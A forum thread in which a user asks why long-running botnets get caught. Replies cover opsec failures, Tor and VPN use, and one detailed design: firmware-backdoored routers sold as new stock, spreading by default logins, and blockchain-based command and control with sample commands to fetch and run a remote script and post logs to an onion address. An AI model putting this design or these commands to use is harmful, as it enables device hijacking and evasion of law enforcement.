Why is it hard to run successfully a Botnet for years, and not gey caught?

So my question is this.

I know some hacking and I know how to create a simple Botnet(for noob hacker).

I could create a C&C server, make an agent with Python script that uses Shodan's API to scan for specific type of machines(IoT for example) and ports, and when they get exploited they'll get infected with Malware to use resources and so on.

After this I could use Tor for anonymity and if I'll not do any stupid thing that will expose me I would be safe, I think.

So, how people like the two guys that created Mirai Botnet, got caught? Which are the difficulties of the anonymity for the 'big' guys?

Posted Mar 6, 2018, 4:37 AM UTC

1617
deodamnatus•

"If I'll not do any stupid thing that will expose me I would be safe, I think" you hit the nail on the head yourself. The original mirai botnet was used to ddos a bunch of websites and was very high profile. For a huge botnet like that you would probably be ddosing through a bunch of layers of bots. Very high profile people either mess up, like dread pirate Roberts (caught from posting with his real email promoting silkroad when he was launching it), like the mirai guys (ddosing a personal competitor), or any number of other hackers who weren't careful enough. If you set up a botnet to just quietly mine monero, interfaced with your wallet via tor and laundered all that money perfectly, it would be hard to get caught. But if you owned a couple million bots, your malware would be discovered and cleaned or governments could attempt to track you if you were committing really serious crimes like selling boatloads of drugs or having access to millions of devices.

18
mulletman9210•

Ross U. is a bad example I feel like... He got caught because he chose to try and maintain his family ties and everyday life in the states. I mean, to each their own, but he had so much crypto even back in the sub-$100 days that with a few weeks of dedicated currency conversion he would've had enough to GTFO to a non-extradition country and live like a king. Sadly his capture was inevitable the way he played it, imagine being the target of all that heat and going to your parents' place to do laundry on weekends because you don't have a washer in your apartment.... I mean he wasn't even using international servers to host SR. Massive balls. Now he's serving a few dozen life sentences as a reward for single-handedly bringing about the largest trend of harm reduction in modern black market history. We will never forget you DPR...

7
Tompazi•
5
arcanemachined•

You might as well try to build a wall to stop the tide from coming in.

People wrecked the word 'literally' and they have literally destroyed the word 'crypto', which now refers to decentralized digital money. The implementation of language is a democratic process, and the steamroller of progress will not stop in the face of your futile pleas and will not bend even for the most sensible logic.

I would wish you luck in your battle, but you have already lost.

Long live crypto!

6
ThePixelCoderweb dev•

While I hate the term "crypto", we all know what they mean, so does it really matter?

2
Tompazi•

A few days ago there was a post with a title like "Need help with a crypto problem", and I got excited cause I love cryptography. They had a fucking crypto currency problem, like getting into their wallet or something idc. It's like calling a laser printer just "laser".

3
ThePixelCoderweb dev•

and if I'll not do any stupid thing that will expose me I would be safe

And that's the problem. People do stupid shit.

EDIT: You should watch a DefCon talk by zoz called "don't fuck it up". It's about people who do shady stuff online and got caught because they did stupid shit.

6
Luigimonby•

I second on watching that presentation.

1
DeftNerd•

I've thought about this (strictly academically) and determined that it's futile. You'll always have to add more machines as old ones get re-imaged or replaced and once you add a machine run as a honeypot by a security researcher, your virus will be discovered and added to antivirus registries and handled.

In my opinion, the best route to success is to purchase a consumer device and see if you can modify the firmware to be your botnet client. If successful, get an investor and bulk purchase a few thousand units, flash them with the software and reseal the packages, and then ship them on pallets to Amazon and set the price for a buck or two less than the regular price so any purchases will eat through your inventory first.

Then you'll have thousands of botnet clients under your control on a device that nobody will update.

Once on a house network, your consumer botnet client can also scan for other devices behind the NAT firewall and try standard logins/passwords. If you notice a significant number of devices that your clients can access, then you can expand the botnet into those devices in case your consumer device ever gets turned off or given away or sold.

Some consumer devices to consider would be anything that's wifi-enabled. A smart thermostat, speaker system, network radio, wifi cameras, network equipment like wifi access points, "smart" alarm clocks, Android TV boxes, tablets, etc. Routers would be the best choice since they're plugged directly into the internet access source with an ethernet cable and their traffic usage can be masked more easily.

As for anonymity, that's not too hard. Just have the devices check a random array of some cryptocurrency blockexplorers every few hours for activity on a certain address that you control the private keys for. That way you can issue short C&C commands to the clients by crafting a blockchain transaction. It might just be "exec http://somepubsite.com/~account/commands21398.sh" and then the clients will DL the file and run it when they get the message. Or maybe it can be "stats http://someaddress.onion/report" and the clients will send a POST message with client logs and statistics.

This way the C&C transmission infrastructure can't be found, only parts of it... and those parts are meant to be disposable.

This whole concept works really well because by limiting yourself to one device, you can ensure that you update the firmware on a similar schedule as the manufacturer so end users won't ever know their device has been compromised. You would have to be careful to profile the local network and internet connection. If you use the device to DDoS people, it'll affect the owners WiFi network and could lead to the devices discovery. If you do something that uses too much bandwidth and they have limits on their bandwidth usage, their internet bill could cause them to investigate what's using all the data allotment. If you send out spam emails, they might get notified by their ISP.

This is a better system for something like operating a network of proxies for vote manipulation or site commenting from residential IP's. Maybe for scraping websites.

6
Luigimonby•

Damn. That's really fucking elaborate. How did you come up with this?

1
DeftNerd•

I get paid to design systems and procedures, from an architects plan sort of level. I'm good at looking at the big picture and designing all the components to work together.

'How would you design an unfindable botnet C&C system' is to me like asking a chef 'what would be on your ultimate menu'.

3
MunchRegisterOP•

EDIT: (typo) not get caught, lmao.

1
Lord_Mortem•

I think there is a lot of factors to consider. I mean your chances of getting caught are greater if your attacking high profile targets like banks, gov, pretty much any organization that has the money and resources, and influence to really hunt you down. No one is truly safe on the internet, just gotta muddy up the waters so it’s harder to track you down. And as for anonymity I wouldn’t use tor, it’s not as secure as what people think. The nsa broke tor, and who ever controls the nodes controls the traffic. I would use a vpn service that doesn’t log ip information, like PIA or NordVPN and connect to a server in a secure country with highly strict privacy laws like Switzerland

3
ThePixelCoderweb dev•

Since when did the NSA break Tor? As far as I know, they only used exploits in the Firefox version the Tor browser used. And they can correlate traffic, but I wouldn't really call that "breaking" Tor.

1
[deleted]•

[removed]

1
[deleted]•

[deleted]

1
kaips1•

Hard? Most.botnets have been running.for years and they still javent been caught. Thryve what busted 2 maybe 3 big ones in the last 10 yrs

1
MunchRegisterOP•

I respond to everyone with one comment - Thank you a lot for your information.

Now I understand more clear, about the reasons that leads to fucked ups.

If we need to take something from this is try to not fuck it up and if you take the risk, own it.

1